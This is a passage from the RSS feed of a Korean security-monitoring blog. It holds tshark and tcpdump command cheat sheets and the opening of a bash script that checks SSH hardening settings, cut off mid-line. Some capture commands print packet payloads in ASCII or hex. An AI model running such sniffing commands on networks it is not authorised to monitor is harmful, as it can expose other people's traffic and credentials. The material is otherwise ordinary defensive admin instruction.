&lt;td style=&quot;width: 100%;&quot;&gt;#&amp;nbsp;tshark&amp;nbsp;=&amp;nbsp;Wireshark의&amp;nbsp;CLI&amp;nbsp;버전 &lt;br /&gt;$&amp;nbsp;sudo&amp;nbsp;apt&amp;nbsp;install&amp;nbsp;tshark&amp;nbsp;-y &lt;br /&gt;&lt;br /&gt;#&amp;nbsp;기본&amp;nbsp;사용 &lt;br /&gt;$&amp;nbsp;sudo&amp;nbsp;tshark&amp;nbsp;-i&amp;nbsp;eth0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;실시간&amp;nbsp;캡처 &lt;br /&gt;$&amp;nbsp;sudo&amp;nbsp;tshark&amp;nbsp;-i&amp;nbsp;eth0&amp;nbsp;-c&amp;nbsp;100&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;100패킷만 &lt;br /&gt;$&amp;nbsp;sudo&amp;nbsp;tshark&amp;nbsp;-i&amp;nbsp;eth0&amp;nbsp;-w&amp;nbsp;capture.pcap&amp;nbsp;&amp;nbsp;#&amp;nbsp;파일&amp;nbsp;저장 &lt;br /&gt;$&amp;nbsp;tshark&amp;nbsp;-r&amp;nbsp;capture.pcap&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;pcap&amp;nbsp;파일&amp;nbsp;읽기 &lt;br /&gt;&lt;br /&gt;#&amp;nbsp;필터&amp;nbsp;적용 &lt;br /&gt;$&amp;nbsp;sudo&amp;nbsp;tshark&amp;nbsp;-i&amp;nbsp;eth0&amp;nbsp;-f&amp;nbsp;&quot;tcp&amp;nbsp;port&amp;nbsp;80&quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;캡처&amp;nbsp;필터 &lt;br /&gt;$&amp;nbsp;tshark&amp;nbsp;-r&amp;nbsp;cap.pcap&amp;nbsp;-Y&amp;nbsp;&quot;http.request&quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;디스플레이&amp;nbsp;필터 &lt;br /&gt;&lt;br /&gt;#&amp;nbsp;특정&amp;nbsp;필드만&amp;nbsp;추출&amp;nbsp;(-T&amp;nbsp;fields&amp;nbsp;-e&amp;nbsp;필드명) &lt;br /&gt;$&amp;nbsp;tshark&amp;nbsp;-r&amp;nbsp;cap.pcap&amp;nbsp;-T&amp;nbsp;fields&amp;nbsp;&amp;nbsp;&amp;nbsp;-e&amp;nbsp;ip.src&amp;nbsp;-e&amp;nbsp;ip.dst&amp;nbsp;-e&amp;nbsp;http.request.uri&amp;nbsp;&amp;nbsp;&amp;nbsp;-Y&amp;nbsp;&quot;http.request&quot; &lt;br /&gt;&lt;br /&gt;#&amp;nbsp;HTTP&amp;nbsp;요청&amp;nbsp;URL&amp;nbsp;목록 &lt;br /&gt;$&amp;nbsp;tshark&amp;nbsp;-r&amp;nbsp;cap.pcap&amp;nbsp;-Y&amp;nbsp;http.request&amp;nbsp;&amp;nbsp;&amp;nbsp;-T&amp;nbsp;fields&amp;nbsp;-e&amp;nbsp;http.host&amp;nbsp;-e&amp;nbsp;http.request.uri&amp;nbsp;|&amp;nbsp;sort&amp;nbsp;-u &lt;br /&gt;&lt;br /&gt;#&amp;nbsp;통신&amp;nbsp;IP&amp;nbsp;목록 &lt;br /&gt;$&amp;nbsp;tshark&amp;nbsp;-r&amp;nbsp;cap.pcap&amp;nbsp;-T&amp;nbsp;fields&amp;nbsp;&amp;nbsp;&amp;nbsp;-e&amp;nbsp;ip.src&amp;nbsp;-e&amp;nbsp;ip.dst&amp;nbsp;|&amp;nbsp;sort&amp;nbsp;|&amp;nbsp;uniq&amp;nbsp;-c&amp;nbsp;|&amp;nbsp;sort&amp;nbsp;-rn&amp;nbsp;|&amp;nbsp;head &lt;br /&gt;&lt;br /&gt;#&amp;nbsp;악성&amp;nbsp;트래픽&amp;nbsp;자동&amp;nbsp;탐지&amp;nbsp;스크립트 &lt;br /&gt;$&amp;nbsp;tshark&amp;nbsp;-r&amp;nbsp;malware.pcap&amp;nbsp;-T&amp;nbsp;fields&amp;nbsp;-e&amp;nbsp;ip.dst&amp;nbsp;&amp;nbsp;&amp;nbsp;|&amp;nbsp;sort&amp;nbsp;|&amp;nbsp;uniq&amp;nbsp;-c&amp;nbsp;|&amp;nbsp;sort&amp;nbsp;-rn&amp;nbsp;|&amp;nbsp;head&amp;nbsp;-20&amp;nbsp;&amp;nbsp;#&amp;nbsp;많이&amp;nbsp;통신한&amp;nbsp;외부&amp;nbsp;IP&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[실행 결과]&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1147&quot; data-origin-height=&quot;569&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/l6r87/dJMcahEPElt/6G4nqyhns1rSyau3cUaYzk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/l6r87/dJMcahEPElt/6G4nqyhns1rSyau3cUaYzk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/l6r87/dJMcahEPElt/6G4nqyhns1rSyau3cUaYzk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fl6r87%2FdJMcahEPElt%2F6G4nqyhns1rSyau3cUaYzk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1147&quot; height=&quot;569&quot; data-origin-width=&quot;1147&quot; data-origin-height=&quot;569&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1051&quot; data-origin-height=&quot;100&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dL5YQY/dJMcagzbe4h/Z6GfjkvM3vtTOhC27QskLk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dL5YQY/dJMcagzbe4h/Z6GfjkvM3vtTOhC27QskLk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dL5YQY/dJMcagzbe4h/Z6GfjkvM3vtTOhC27QskLk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdL5YQY%2FdJMcagzbe4h%2FZ6GfjkvM3vtTOhC27QskLk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1051&quot; height=&quot;100&quot; data-origin-width=&quot;1051&quot; data-origin-height=&quot;100&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #333333; text-align: left;&quot;&gt;&lt;span&gt;✔️&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #1a202c;&quot;&gt;【tcpdump】&lt;/span&gt;&lt;/h4&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;&lt;span&gt;&lt;span&gt;- &lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #475569;&quot;&gt;환경: 원격 서버 CLI (GUI 없음)&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;&lt;span&gt;&lt;span&gt;-&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #475569;&quot;&gt;강점: 가볍고 빠름, 리소스 적음&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;&lt;span&gt;&lt;span&gt;- &lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #475569;&quot;&gt;약점: 분석 기능 제한적&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;color: #475569;&quot;&gt;- 최적: 실시간 캡처, pcap 저장&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;#&amp;nbsp;tcpdump&amp;nbsp;기본 &lt;br /&gt;$&amp;nbsp;sudo&amp;nbsp;tcpdump&amp;nbsp;-i&amp;nbsp;eth0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;모든&amp;nbsp;인터페이스 &lt;br /&gt;$&amp;nbsp;sudo&amp;nbsp;tcpdump&amp;nbsp;-i&amp;nbsp;any&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;모든&amp;nbsp;인터페이스&amp;nbsp;동시 &lt;br /&gt;$&amp;nbsp;sudo&amp;nbsp;tcpdump&amp;nbsp;-n&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;DNS&amp;nbsp;역조회&amp;nbsp;없이&amp;nbsp;(빠름) &lt;br /&gt;$&amp;nbsp;sudo&amp;nbsp;tcpdump&amp;nbsp;-nn&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;포트도&amp;nbsp;숫자로 &lt;br /&gt;$&amp;nbsp;sudo&amp;nbsp;tcpdump&amp;nbsp;-v&amp;nbsp;/&amp;nbsp;-vv&amp;nbsp;/&amp;nbsp;-vvv&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;상세도&amp;nbsp;증가 &lt;br /&gt;&lt;br /&gt;#&amp;nbsp;BPF&amp;nbsp;필터&amp;nbsp;(캡처&amp;nbsp;필터) &lt;br /&gt;$&amp;nbsp;sudo&amp;nbsp;tcpdump&amp;nbsp;-i&amp;nbsp;eth0&amp;nbsp;port&amp;nbsp;22 &lt;br /&gt;$&amp;nbsp;sudo&amp;nbsp;tcpdump&amp;nbsp;-i&amp;nbsp;eth0&amp;nbsp;host&amp;nbsp;192.168.1.100 &lt;br /&gt;$&amp;nbsp;sudo&amp;nbsp;tcpdump&amp;nbsp;-i&amp;nbsp;eth0&amp;nbsp;src&amp;nbsp;host&amp;nbsp;10.0.0.1 &lt;br /&gt;$&amp;nbsp;sudo&amp;nbsp;tcpdump&amp;nbsp;-i&amp;nbsp;eth0&amp;nbsp;dst&amp;nbsp;port&amp;nbsp;80 &lt;br /&gt;$&amp;nbsp;sudo&amp;nbsp;tcpdump&amp;nbsp;-i&amp;nbsp;eth0&amp;nbsp;tcp &lt;br /&gt;$&amp;nbsp;sudo&amp;nbsp;tcpdump&amp;nbsp;-i&amp;nbsp;eth0&amp;nbsp;'tcp&amp;nbsp;and&amp;nbsp;port&amp;nbsp;443' &lt;br /&gt;$&amp;nbsp;sudo&amp;nbsp;tcpdump&amp;nbsp;-i&amp;nbsp;eth0&amp;nbsp;'src&amp;nbsp;10.0.0.1&amp;nbsp;and&amp;nbsp;dst&amp;nbsp;port&amp;nbsp;22' &lt;br /&gt;$&amp;nbsp;sudo&amp;nbsp;tcpdump&amp;nbsp;-i&amp;nbsp;eth0&amp;nbsp;'not&amp;nbsp;port&amp;nbsp;22'&amp;nbsp;&amp;nbsp;#&amp;nbsp;SSH&amp;nbsp;제외 &lt;br /&gt;&lt;br /&gt;#&amp;nbsp;파일&amp;nbsp;저장&amp;nbsp;&amp;amp;&amp;nbsp;읽기 &lt;br /&gt;$&amp;nbsp;sudo&amp;nbsp;tcpdump&amp;nbsp;-i&amp;nbsp;eth0&amp;nbsp;-w&amp;nbsp;/tmp/capture.pcap&amp;nbsp;-c&amp;nbsp;200 &lt;br /&gt;$&amp;nbsp;tcpdump&amp;nbsp;-r&amp;nbsp;/tmp/capture.pcap &lt;br /&gt;$&amp;nbsp;tcpdump&amp;nbsp;-r&amp;nbsp;/tmp/capture.pcap&amp;nbsp;-n&amp;nbsp;port&amp;nbsp;80&amp;nbsp;&amp;nbsp;#&amp;nbsp;읽으면서&amp;nbsp;필터 &lt;br /&gt;&lt;br /&gt;#&amp;nbsp;페이로드&amp;nbsp;출력&amp;nbsp;(내용&amp;nbsp;확인) &lt;br /&gt;$&amp;nbsp;sudo&amp;nbsp;tcpdump&amp;nbsp;-i&amp;nbsp;eth0&amp;nbsp;-A&amp;nbsp;port&amp;nbsp;80&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;ASCII&amp;nbsp;출력 &lt;br /&gt;$&amp;nbsp;sudo&amp;nbsp;tcpdump&amp;nbsp;-i&amp;nbsp;eth0&amp;nbsp;-X&amp;nbsp;port&amp;nbsp;80&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;HEX&amp;nbsp;+&amp;nbsp;ASCII&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[실행 결과]&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1261&quot; data-origin-height=&quot;171&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b7lJGq/dJMcahLDAJk/l4FTe981kaYT5993yi06zK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b7lJGq/dJMcahLDAJk/l4FTe981kaYT5993yi06zK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b7lJGq/dJMcahLDAJk/l4FTe981kaYT5993yi06zK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb7lJGq%2FdJMcahLDAJk%2Fl4FTe981kaYT5993yi06zK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1261&quot; height=&quot;171&quot; data-origin-width=&quot;1261&quot; data-origin-height=&quot;171&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1257&quot; data-origin-height=&quot;122&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kJrlw/dJMcaay0Roh/bBvhybkCyOpeDyjp5tY9lK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kJrlw/dJMcaay0Roh/bBvhybkCyOpeDyjp5tY9lK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kJrlw/dJMcaay0Roh/bBvhybkCyOpeDyjp5tY9lK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkJrlw%2FdJMcaay0Roh%2FbBvhybkCyOpeDyjp5tY9lK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1257&quot; height=&quot;122&quot; data-origin-width=&quot;1257&quot; data-origin-height=&quot;122&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;859&quot; data-origin-height=&quot;62&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/do14hG/dJMcahY9mcU/csNm9EuifAKYOTzQQ2j0fk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/do14hG/dJMcahY9mcU/csNm9EuifAKYOTzQQ2j0fk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/do14hG/dJMcahY9mcU/csNm9EuifAKYOTzQQ2j0fk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdo14hG%2FdJMcahY9mcU%2FcsNm9EuifAKYOTzQQ2j0fk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;859&quot; height=&quot;62&quot; data-origin-width=&quot;859&quot; data-origin-height=&quot;62&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>보안 관제</category>
      <author>TungTung0000</author>
      <guid isPermaLink="true">https://yeonni821.tistory.com/31</guid>
      <comments>https://yeonni821.tistory.com/31#entry31comment</comments>
      <pubDate>Tue, 23 Jun 2026 16:41:17 +0900</pubDate>
    </item>
    <item>
      <title>( &amp;rarr;수정필)보안점검 통합</title>
      <link>https://yeonni821.tistory.com/29</link>
      <description>&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;✔️&amp;nbsp; &amp;nbsp;[작성 코드]&lt;/h4&gt;
&lt;div style=&quot;background-color: #121314; color: #bbbebf;&quot;&gt;
&lt;div&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;#!/bin/bash&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;set&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;-euo&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;pipefail&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;REPORT&lt;/span&gt;&lt;span style=&quot;color: #d4d4d4;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;~/reports/w2_final_&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt;$(&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;date&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;+%Y%m%d&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;.txt&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;mkdir&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;-p&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;~/reports&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt;() { &lt;/span&gt;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;[$(&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;date&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt; +%H:%M:%S)] &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;$1&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #d4d4d4;&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;tee&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;-a&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;$REPORT&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt;; }&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;ok&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt;() &amp;nbsp;{ &lt;/span&gt;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot; &amp;nbsp;✅ &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;$1&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #d4d4d4;&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;tee&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;-a&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;$REPORT&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt;; }&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;warn&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt;(){ &lt;/span&gt;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot; &amp;nbsp;⚠️ &amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;$1&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #d4d4d4;&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;tee&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;-a&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;$REPORT&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt;; }&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;=== 보안 점검 $(&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;date&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;) ===&quot;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# SSH 보안 점검&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;--- SSH 보안 ---&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;grep&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;-q&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;PermitRootLogin no&quot;&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;/etc/ssh/sshd_config&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &amp;amp;&amp;amp; &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;ok&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Root 로그인 차단&quot;&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #d4d4d4;&quot;&gt;||&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;warn&lt;/span&gt;&lt;span style=&quot;color: #bbbebf;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Root 로그인 